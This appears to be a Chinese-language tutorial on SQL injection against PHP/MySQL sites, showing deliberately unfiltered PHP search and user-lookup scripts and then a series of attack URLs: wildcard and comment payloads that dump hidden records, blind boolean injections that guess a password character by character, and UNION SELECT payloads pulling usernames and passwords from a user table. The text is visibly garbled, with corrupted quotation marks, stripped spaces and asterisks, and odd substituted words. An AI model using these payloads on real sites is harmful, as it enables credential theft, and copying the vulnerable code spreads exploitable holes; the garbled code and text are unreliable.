一、搜索引擎
网上有一大堆的PHP程序搜索引擎是有问题的,也便是提交分外字符可以显示所有记录,包括
不符合条件的,实在这个危害也不算大,由于许可用户输入关键字进行模糊查询的地方大多数都
许可检索所有的记录。很多查询的设计便是这样的。
查询是只读的操作该当不会对数据产生毁坏浸染,不要太担心。不过透露隐私不知道算不算
危害,下面是一个标准的搜索引擎:
<formmethod=\"大众GET\公众action=\公众search.php\公众name=\公众search\"大众>
<inputname=\公众keywords\"大众type=\"大众text\公众value=\"大众\公众size=\公众15\公众><inputtype=\"大众submit\"大众
value=\公众Search\公众>
</form>
<b>Searchresult</b>
<?php
$servername=\"大众localhost\公众;
$dbusername=\公众root\"大众;
$dbpassword=\"大众\"大众;
$dbname=\"大众injection\"大众;
mysql_connect($servername,$dbusername,$dbpassword)ordie(\公众数据库连接失落败\"大众);
$keywords=$_GET['keywords'];
if(!empty($keywords)){
//$keywords=addslashes($keywords);
//$keywords=str_replace(\"大众_\公众,\公众_\"大众,$keywords);
//$keywords=str_replace(\"大众%\"大众,\"大众%\公众,$keywords);
$sql=\公众SELECTFROM\"大众.$db_prefix.\"大众articleWHEREtitleLIKE'%$keywords%'
$searchORDERBYtitleDESC\"大众;
$result=mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);
echo\"大众
SQLQuerysql
\公众;
if($tatol<=0){
echo\"大众The\公众<b>$keywords</b>\公众wasnotfoundinalltherecord.
n\公众;
}else{
while($article=mysql_fetch_array($result)){
echo\"大众<li>\"大众.htmlspecialchars($article[title]).\"大众
n\"大众;
}//while
}
}else{
echo\公众<b>leaseentersomekeywords.</b>
n\"大众;
}
?>
一样平常程序都是这样写的,如果缺少变量检讨,我们就可以改写变量,达到\"大众注入\公众的目的,
只管没有危害,当我们输入\"大众___\公众、\"大众.__\公众、\公众%\"大众等类似的关键字时,会把数据库中的所有
记录都取出来。如果我们在表单提交:
%'ORDERBYarticleid/
%'ORDERBYarticleid#
__'ORDERBYarticleid/
__'ORDERBYarticleid#
SQL语句就被改变成下面的样子了,
SELECTFROMarticleWHEREtitleLIKE'%%'ORDERBYarticleid/%'ORDERBYtitle
DESC
SELECTFROMarticleWHEREtitleLIKE'%__'ORDERBYarticleid#%'ORDERBYtitle
DESC
就会列出所有记录,包括被隐蔽的,还可以改变排列顺序。这个虽然危害不大,也算是注入
的一种办法了吧?
二、查询字段
查询字段又可以分成两种,本表查询和跨表查询,这两种查询和ACCESS、MSSQL差不多,乃至更强大、更灵巧、更方便。不知道为什么便是有人认为比ASP难?我们在ASP中常常利用的个别函数在PHP里要有小小的改动,如下:
①本表查询
看下面一条SQL语句,多用在论坛或者会员注册系统查看用户资料的,
<?php
$servername=\公众localhost\"大众;
$dbusername=\"大众root\"大众;
$dbpassword=\"大众\"大众;
$dbname=\公众injection\公众;
mysql_connect($servername,$dbusername,$dbpassword)ordie(\公众数据库连接失落败\"大众);
$sql=\公众SELECTFROMuserWHEREusername='$username'\公众;
$result=mysql_db_query($dbname,$sql);
$row=mysql_fetch_array($result);
if(!$row){
echo\"大众该记录不存在\"大众;
echo\公众
SQLQuerysql
\公众;
exit;
}
echo\公众你要查询的用户ID是:$row[userid]n\公众;
echo\"大众
SQLQuerysql
\"大众;
?>
当我们提交的用户名为真时,就会正常返回用户的ID,如果为造孽参数就会提示相应的缺点,由于是查询用户资料,我们可以大胆预测密码就存在这个数据表里(现在我还没有遇见过密码是单独存在另一个表的程序),记得刚才的身份验证程序吗?和现在的比较,就少了一个AND条件,如下:
SELECTFROMuserWHEREusername='$username'ANDpassword='$password'SELECTFROM
userWHEREusername='$username'
相同的便是当条件为真时,就会给出精确的提示信息,如果我们布局出后面的AND条件部分,并使这部分为真,那我们的目的也就达到了,还是利用刚才建立的user数据库,用户名为angel,
密码为mypass,
看了上面的例子,该当知道布局了吧,如果我们提交:
http://127.0.0.1/injection/user.php?username=angel'andpassword='mypass
这个是绝对为真的,由于我们这样提交上面的SQL语句变成了下面的样子:
SELECTFROMuserWHEREusername='angel'ANDpassword='mypass'
但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们
就开始探测密码了,首先获取密码长度:
http://127.0.0.1/injection/user.php?username=angel'andLENGTH(password)='6
在ACCESS中,用LEN()函数来获取字符串长度,在MYSQL中,要利用LENGTH(),只要没有布局
缺点,也便是说SQL语句能正常实行,那返回结果无外乎两种,不是返回用户ID,便是返回\"大众该记
录不存在\公众。当用户名为angel并且密码长度为6的时候返回真,就会返回干系记录,是不是和ASP
里一样?再用LEFT()、RIGHT()、MID()函数猜密码:
http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel'andLEFT(password,6)='mypass
看,密码不是出来了吗?大略吧?当然实际情形会有不少条件限定,下面还会讲到这个例子
的深入运用。
②跨表查询
这部分就和ASP有点出入了,除了一定要用UNION连接两条SQL语句,最难节制的便是字段的数
量,如果看过MYSQL参考手册,就知道了在SEL ECT 中的 select_expression
(select_expression 表示你希望检索的列[字段]) 部分列出的列必须具有同样的类型。第一个
SELECT 查询中利用的列名将作为结果集的列名返回。大略的说,也便是UNION后面查选的字段数
量、字段类型都该当与前面的SELECT一样,而且,如果前面的SELECT为真,就同时返回两个
SELECT的结果,当前面的SELECT为假,就会返回第二个SELECT所得的结果,某些情形会更换掉在
第一个SELECT原来该当显示的字段, 该当先知道前面查询表的数据表的构造。如果我们查询两
个数据表的字段相同,类型也相同,我们就可以这样提交:
SELECT FROM article WHERE articleid='$id' UNION SELECT FROM……
如果字段数量、字段类型任意一个不相同,就只能搞打消数据类型和字段数量,这样提交:
SELECT FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……
否则就会报错:
The used SELECT statements have a different number of columns
如果不知道数据类型和字段数量,可以用1来逐步试,由于1属于intstrvar类型,以是我们只
要逐步改变数量,一定可以猜到的。如果不能立时理解上面的理论,后面有很详细的例子。
我们看看下面的数据构造,是一个大略的文章数据表。
CREATE TABLE `article` (
`articleid` int(11) NOT NULL auto_increment,
`title` varchar(100) NOT NULL default '',
`content` text NOT NULL,
PRIMARY KEY (`articleid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `article`
#
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教诲制度真是请文明用语
掉队!
如果我当教诲部长。我要把所有老师都开除!
');
INSERT INTO `article` VALUES (2, '我恨去世你', '我恨去世你了,你是什么东西啊');
这个表的字段类型分别是int、varchar、text,如果我们用UNION联合查询的时候,后面的查
询的表的构造和这个一样。就可以用\"大众SELECT \公众,如果有任何一个不一样,那我们只能用
\公众SELECT 1,1,1,1……\"大众了。
下面的文件是一个很标准、大略的显示文章的文件,很多站点都是这种页面没有过滤,以是
成为最明显的注入点,下面就拿这个文件作为例子,开始我们的注入实验。
<?php
$servername = \公众localhost\"大众;
$dbusername = \"大众root\"大众;
$dbpassword = \公众\"大众;
$dbname = \"大众injection\"大众;
mysql_connect($servername,$dbusername,$dbpassword) or die (\"大众数据库连接失落败\"大众);
$sql = \"大众SELECT FROM article WHERE articleid='$id'\"大众;
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
echo \"大众该记录不存在\"大众;
echo \"大众SQL Querysql\"大众;
exit;
}
echo \"大众title\"大众.$row[title].\"大众n\公众;
echo \公众content\"大众.$row[content].\"大众n\公众;
echo \"大众SQL Querysql\公众;
?>
正常情形下,我们提交这样的一个要求:
http://127.0.0.1/injection/show.php?id=1
就会显示articleid为1的文章,但我们不须要文章,我们须要的是用户的敏感信息,就要查
询user表,现在是查询刚才我们建立的user表。
由于$id没有过滤给我们制造了这个机会,我们要把show.php文件中的SQL语句改写成类似这个样子:
SELECT FROM article WHERE articleid='$id' UNION SELECT FROM user ……
由于这个代码是有单引号包含着变量的,我们现在提交:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/
按道理说,该当显示用户表的username、password两个字段的内容才对啊,怎么正常显示文章呢?
实在,我们提交的articleid=1是article表里存在的,实行结果便是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/
http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from
user/
现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及详细的运用,后面还会讲到一些高等的技巧。
感激点评,点赞,提出见地,我们会努力去改进.
弈安传媒科技微教室,每天分享财经资讯,打算机技能知识,人生感悟,创业辅导以及各种专业技能知识资料学习互换.移动学习平台、知识分享平台。随时随地的学习,如果你喜好发展,这里你不容错过的地方.弈安传媒科技培训关注:关注自己发展,分享内容,分享自己的技能,造诣未来.